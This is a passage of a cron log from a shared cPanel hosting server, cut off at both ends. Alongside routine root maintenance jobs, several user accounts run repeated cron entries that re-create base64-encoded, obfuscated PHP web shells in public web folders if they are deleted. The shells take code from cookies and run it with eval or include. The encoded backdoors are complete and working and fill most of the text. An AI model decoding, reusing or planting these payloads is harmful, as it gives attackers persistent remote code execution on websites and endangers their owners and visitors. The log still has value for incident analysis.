yR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:10:01 medusa CROND[7876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:10:01 medusa CROND[7865]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:10:01 medusa CROND[7893]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:10:01 medusa CROND[7864]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 03:11:01 medusa CROND[13688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:11:01 medusa CROND[13697]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:11:01 medusa CROND[13698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:11:01 medusa CROND[13699]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:11:01 medusa CROND[13700]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:11:01 medusa CROND[13701]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:11:01 medusa CROND[13702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:11:01 medusa CROND[13704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:11:01 medusa CROND[13705]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:11:01 medusa CROND[13707]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:11:01 medusa CROND[13710]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:11:01 medusa CROND[13711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:11:01 medusa CROND[13713]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:12:01 medusa CROND[20516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:12:01 medusa CROND[20582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:12:01 medusa CROND[20581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:12:01 medusa CROND[20583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:12:01 medusa CROND[20584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:12:01 medusa CROND[20585]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:12:01 medusa CROND[20589]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:12:01 medusa CROND[20599]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:12:01 medusa CROND[20600]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:12:01 medusa CROND[20601]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:12:01 medusa CROND[20603]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:12:01 medusa CROND[20604]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:12:01 medusa CROND[20622]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:12:01 medusa CROND[20623]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:13:02 medusa CROND[26441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:13:02 medusa CROND[26442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:13:02 medusa CROND[26443]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:13:02 medusa CROND[26446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:13:02 medusa CROND[26447]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZW